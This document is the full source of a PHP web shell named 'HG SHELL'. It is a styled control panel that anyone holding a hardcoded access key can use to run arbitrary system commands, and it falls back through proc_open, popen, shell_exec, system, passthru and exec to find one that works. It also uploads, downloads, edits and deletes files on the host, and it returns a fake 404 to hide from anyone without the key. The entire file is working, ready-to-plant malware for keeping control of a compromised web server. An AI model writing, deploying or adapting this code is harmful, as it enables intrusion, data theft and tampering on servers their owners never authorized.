<?php
/* HG SHELL - designed panel: terminal, multi-upload, file manager, editor. */
$K = 'q4x9m2t7b1';
if (!isset($_REQUEST['k']) || $_REQUEST['k'] !== $K) { header('HTTP/1.1 404 Not Found'); exit; }

$d = isset($_REQUEST['d']) && $_REQUEST['d'] ? $_REQUEST['d'] : getcwd();
if (!@is_dir($d)) $d = dirname($d);
$d = str_replace('\\', '/', $d);
if (substr($d, -1) !== '/') $d .= '/';

function h($s){ return htmlspecialchars((string)$s, ENT_QUOTES); }

function run($cmd){
    $cmd .= ' 2>&1';
    if (function_exists('proc_open')) {
        $sp = array(array('pipe','r'), array('pipe','w'), array('pipe','w'));
        $p = @proc_open($cmd, $sp, $pp);
        if (is_resource($p)) {
            @fclose($pp[0]);
            $o = @stream_get_contents($pp[1]);
            @fclose($pp[1]); @fclose($pp[2]); @proc_close($p);
            if ($o !== false && $o !== '') return $o;
        }
    }
    if (function_exists('popen')) {
        $h = @popen($cmd, 'r');
        if ($h) { $o = @fread($h, 262144); @pclose($h); if ($o !== false && $o !== '') return $o; }
    }
    if (function_exists('shell_exec')) { $o = @shell_exec($cmd); if ($o !== false && $o !== null && $o !== '') return $o; }
    if (function_exists('system'))      { ob_start(); @system($cmd);   $o = ob_get_clean(); if ($o !== '') return $o; }
    if (function_exists('passthru'))    { ob_start(); @passthru($cmd); $o = ob_get_clean(); if ($o !== '') return $o; }
    if (function_exists('exec'))        { $o = @exec($cmd, $lines); if (!empty($lines)) return implode("\n", $lines); }
    return '(no exec: all exec functions disabled)';
}

$cmd = isset($_POST['cmd']) ? $_POST['cmd'] : '';
$out = $cmd !== '' ? run($cmd) : '';
$edit = isset($_GET['e']) ? $_GET['e'] : '';
$msg = ''; $msgtype = 'ok';

/* save editor */
if (isset($_POST['save']) && $edit !== '') {
    $w = @file_put_contents($edit, isset($_POST['content']) ? $_POST['content'] : '');
    $msg = $w !== false ? 'Saved ' . number_format($w) . ' bytes to ' . $edit : 'SAVE FAILED (permission?)';
    $msgtype = $w !== false ? 'ok' : 'er';
}
/* new file */
if (isset($_POST['newfile']) && $_POST['newfile'] !== '') {
    $np = $d . basename($_POST['newfile']);
    $w = @file_put_contents($np, '');
    $msg = $w !== false ? 'Created ' . $np : 'CREATE FAILED';
    $msgtype = $w !== false ? 'ok' : 'er';
}
/* delete */
if (isset($_GET['rm'])) {
    $r = $_GET['rm'];
    $ok = is_dir($r) ? @rmdir($r) : @unlink($r);
    $msg = $ok ? 'Deleted ' . basename($r) : 'DELETE FAILED (permission?)';
    $msgtype = $ok ? 'ok' : 'er';
}
/* uploads */
if (!empty($_FILES['f']['name'][0])) {
    $n = count($_FILES['f']['name']); $good = 0; $tm = '';
    for ($i = 0; $i < $n; $i++) {
        $tgt = $d . basename($_FILES['f']['name'][$i]);
        if (@move_uploaded_file($_FILES['f']['tmp_name'][$i], $tgt)) { $good++; $tm .= $_FILES['f']['name'][$i] . ' (' . number_format($_FILES['f']['size'][$i]) . 'b) '; }
        else { $tm .= $_FILES['f']['name'][$i] . ' FAILED '; }
    }
    $msg = 'Uploaded ' . $good . '/' . $n . ': ' . $tm; $msgtype = $good ? 'ok' : 'er';
}
/* download */
if (isset($_GET['dl']) && is_file($_GET['dl'])) {
    while (ob_get_level()) ob_end_clean();
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($_GET['dl']) . '"');
    header('Content-Length: ' . filesize($_GET['dl']));
    readfile($_GET['dl']); exit;
}
$free = @disk_free_space($d); $tot = @disk_total_space($d);
?><!DOCTYPE html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<title>HG · <?=h(basename(rtrim($d,'/')))?></title>
<style>
*{box-sizing:border-box}
body{background:#0b0f14;color:#c9d1d9;font:13.5px/1.6 ui-monospace,Consolas,Monaco,monospace;margin:0}
a{color:#58a6ff;text-decoration:none}a:hover{text-decoration:underline}
.top{background:linear-gradient(180deg,#161b22,#0f141a);border-bottom:1px solid #21262d;padding:12px 18px;display:flex;gap:16px;flex-wrap:wrap;align-items:center}
.logo{color:#58a6ff;font-weight:700;letter-spacing:1px;font-size:15px}
.chip{background:#010409;border:1px solid #21262d;border-radius:6px;padding:3px 9px;color:#8b949e;font-size:12px}
.wrap{max-width:1180px;margin:0 auto;padding:18px}
.card{background:#0d1117;border:1px solid #21262d;border-radius:10px;margin-bottom:16px;overflow:hidden}
.card h3{margin:0;padding:11px 16px;background:#111820;border-bottom:1px solid #21262d;font-size:12.5px;letter-spacing:.6px;color:#8b949e;text-transform:uppercase}
.card .body{padding:14px 16px}
input[type=text],textarea{background:#010409;color:#c9d1d9;border:1px solid #30363d;border-radius:6px;padding:8px 10px;font:inherit}
input[type=text]{width:70%}
textarea{width:100%;height:340px;white-space:pre;overflow:auto}
button,.btn{background:#238636;color:#fff;border:0;border-radius:6px;padding:8px 15px;font:inherit;cursor:pointer}
.btn:hover{background:#2ea043}
.btn.grey{background:#21262d}.btn.grey:hover{background:#30363d}
.btn.red{background:#7d2020}.btn.red:hover{background:#a02525}
pre{background:#010409;border:1px solid #21262d;border-radius:8px;padding:12px;margin:10px 0 0;max-height:460px;overflow:auto;white-space:pre-wrap;word-break:break-all}
table{width:100%;border-collapse:collapse}
th,td{text-align:left;padding:6px 10px;border-bottom:1px solid #161b22}
th{color:#8b949e;font-size:12px;font-weight:500}
tr:hover td{background:#0f151d}
.dir{color:#58a6ff}.file{color:#c9d1d9}.sz{color:#8b949e;font-size:12px}
.ok{color:#3fb950}.er{color:#f85149}
.msg{padding:10px 14px;border-radius:8px;margin-bottom:14px;border:1px solid}
.msg.ok{background:#0d1f12;border-color:#1f6f3a}
.msg.er{background:#210f0f;border-color:#7d2020}
.bar{height:6px;background:#21262d;border-radius:4px;overflow:hidden;margin-top:4px}
.bar i{display:block;height:100%;background:#238636}
</style></head><body>
<div class="top">
  <span class="logo">HG</span>
  <span class="chip"><?=h(@php_uname('n'))?></span>
  <span class="chip">uid <?=function_exists('posix_getuid')?@posix_getuid():'?'?></span>
  <span class="chip"><?=h(@$_SERVER['SERVER_ADDR'])?></span>
  <span class="chip">free <?=$free!==false?h(number_format($free/1048576,1)).' MB':'?'?></span>
  <a class="chip" href="?k=<?=$K?>&d=<?=h(urlencode(dirname(rtrim($d,'/'))))?>">▲ up</a>
  <a class="chip" href="?k=<?=$K?>&d=<?=h(urlencode($_SERVER['DOCUMENT_ROOT']))?>">root</a>
</div>
<div class="wrap">

<?php if($msg!=='') echo '<div class="msg '.$msgtype.'">'.h($msg).'</div>'; ?>

<div class="card"><h3>Terminal — <?=h($d)?></h3><div class="body">
<form method="post"><input type="text" name="cmd" value="<?=h($cmd)?>" placeholder="id; uname -a; ls -la" autofocus>
<button>Run</button></form>
<?php if($cmd!=='') echo '<pre>'.h($out).'</pre>'; ?>
</div></div>

<div class="card"><h3>Upload — multi-file</h3><div class="body">
<form method="post" enctype="multipart/form-data">
<input type="file" name="f[]" multiple style="margin-right:10px"><button>Upload</button>
</form></div></div>

<div class="card"><h3>Files — <?=h($d)?></h3><div class="body">
<form method="post" style="margin-bottom:12px"><input type="text" name="newfile" placeholder="new-file.php"><button class="btn grey">Create empty</button></form>
<table><thead><tr><th>name</th><th>size</th><th>perm</th><th>actions</th></tr></thead><tbody>
<?php
$items = @scandir($d); if(!$items) $items = array();
foreach ($items as $e) {
    if ($e === '.' || $e === '..') continue;
    $p = $d . $e;
    $isd = @is_dir($p);
    echo '<tr><td>';
    if ($isd) echo '<span class="dir">▸ <a href="?k='.$K.'&d='.h(urlencode($p)).'">'.h($e).'</a></span>';
    else echo '<span class="file">· <a href="?k='.$K.'&d='.h(urlencode($d)).'&e='.h(urlencode($p)).'">'.h($e).'</a></span>';
    echo '</td><td class="sz">'.($isd?'—':number_format(@filesize($p))).'</td>';
    echo '<td class="sz">'.(function_exists('decoct')&&@fileperms($p)?substr(sprintf('%o',@fileperms($p)),-4):'?').'</td>';
    echo '<td>';
    if (!$isd) echo '<a class="btn grey" style="padding:2px 8px;font-size:12px" href="?k='.$K.'&d='.h(urlencode($d)).'&dl='.h(urlencode($p)).'">get</a> ';
    echo '<a class="btn grey" style="padding:2px 8px;font-size:12px" href="?k='.$K.'&d='.h(urlencode($d)).'&rm='.h(urlencode($p)).'" onclick="return confirm(\'Delete '.h($e).' ?\')">del</a>';
    echo '</td></tr>';
}
?>
</tbody></table></div></div>

<?php if ($edit !== '') { ?>
<div class="card"><h3>Editor — <?=h($edit)?></h3><div class="body">
<form method="post"><input type="hidden" name="e" value="<?=h($edit)?>">
<textarea name="content"><?=h(@file_get_contents($edit))?></textarea>
<button name="save" value="1" style="margin-top:9px">Save file</button></form>
</div></div>
<?php } ?>

</div></body></html>
